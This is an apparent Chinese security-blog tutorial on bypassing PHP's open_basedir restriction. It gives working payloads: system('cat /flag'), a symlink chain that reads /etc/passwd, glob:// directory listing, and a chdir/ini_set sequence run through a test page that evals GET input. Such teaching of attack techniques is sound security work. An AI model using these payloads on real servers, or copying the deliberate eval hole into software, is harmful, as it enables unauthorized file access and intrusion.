Bypass open_basedir


open_basedir

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。例如,假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1//tmp/这两个目录以外的文件。注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说,如果 open_basedir = /dir/user,那么目录 /dir/user/dir/user1 都是可以访问的。 所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

为了演示下面的几个示例,我这里环境的open_basedir设置为Web根目录和tmp目录:

image-20201116105724796

测试一下,我在/根目录中新建一个flag文件,尝试对其进行读取,发现读取失败:

image-20201116110147711

而我们读取web目录及其子目录和tmp目录中的文件(flag2)就能成功读取:

image-20201116110339783

这就是open_basedir所起到的作用。

绕过open_basedir的方法

利用命令执行函数Bypass

由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数绕过open_basedir,来访问限制目录。

我们可以使用system()函数试一下,在前面的代码前加上system()代码来进行对比。

测试代码:

<?php
show_source(__FILE__);
//echo file_get_contents('/home/1.txt');
system('cat /flag');
?>

image-20201116110729957

如上图所示,确实能够成功读到目标文件,不受open_basedir的限制。

至于其他的命令执行函数可自行尝试。但是一般情况下,system()等命令执行函数可能会被disable_functions给禁用掉,因此运用到的场景可能并不多。

符号链接

符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

symlink() 函数

symlink() 函数创建一个从指定名称链接到现存目标文件开始的符号链接。如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。

用法:

symlink(target,link)
  • target:连接的目标,可以是文件获包含路径的文件。
  • link:连接的名称。

当然一般情况下这个target是受限于open_basedir的。

实例:

// 创建一个符号连接
<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
?>

注意:该函数不能在 Windows 平台上执行。

在Linux环境下我们可以通过symlink完成一些逻辑上的绕过导致可以跨目录操作文件。

利用symlink()函数来绕过open_basedir的payload如下:

// test.php
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","exp");
unlink("aaa");
mkdir("aaa");
?>

访问该test.php文件后,后台便会在web目录生成了两个目录和一个名为exp的符号链接:

image-20201116112821695

然后我们直接访问web目录中刚生成的exp文件即可读取到目标文件/etc/passwd:

image-20201116112927664

这里的原理就是,先在web根目录里面依次创建A/B/C/D目录,然后创建一个符号链接文件aaa用相对路径指向A/B/C/D,再创建一个符号链接文件exp指向aaa/…/…/…/…/etc/passwd,其实就是指向了A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd,由于这个路径在open_basedir的范围之内所以exploit成功建立了。这时候我们删除aaa符号链接文件再创建一个与aaa同名的目录,此时exp还是指向了aaa也就是aaa/../../../../etc/passwd,但这时候exp变成了一个真正存在的文件夹aaa,就进入了路径/etc/passwd,哈哈哈。

这个方法的重点在这四句:

symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","exp");
unlink("aaa");
mkdir("aaa");

Payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

利用glob://伪协议Bypass

glob://伪协议

glob:// 协议用于查找匹配的文件路径模式。

glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
  printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

我们可以利用glob://伪协议来绕过open_basedir。

单纯利用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

方法一:DirectoryIterator() + glob://

DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。

DirectoryIterator与glob://结合将无视open_basedir对目录的限制,可以用来列举出根目录下的文件。

测试代码

// test.php
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

我们输入 /?whoami=glob:///* 即可列出根目录下的文件:

image-20201116141724946

但是会发现只能列根目录和open_basedir指定的目录的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

方法二:opendir() + readdir() + glob://

  • opendir()函数打开一个目录,成功则返回目录的句柄。
  • readdir()函数为从目录句柄中读取条目,返回目录下的所有文件的文件名。

我们可以用 glob://伪协议 结合opendir()和readdir()这两个两个函数来绕过open_basedir,列举出根目录中的文件。

测试代码:

// test.php
<?php
$dir = $_GET['whoami'];
if ( $b = opendir($dir) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

如下图:

image-20201116142407490

效果和方式一是一样的,只能绕过open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。

利用chdir()与ini_set()组合Bypass

这种利用方式跟open_basedir存在缺陷的处理逻辑有关,具体原理可参考:

《bypass open_basedir的新方法》

先放上匹配payload:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

测试代码:

放置在Web根目录下,在执行输入payload前后获取open_basedir的值,看看是否改变了:

// test.php
<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['whoami'].'<br>';
eval($_GET['whoami']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

输入以下payload:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/etc/passwd'));

如下图,可以看到open_basedir被设置为根目录”/“了,整个失去了效果:

image-20201116144304270

扫描根目录文件:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

image-20201116155929922

更多请参考:https://www.cnblogs.com/hookjoy/p/12846164.html


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC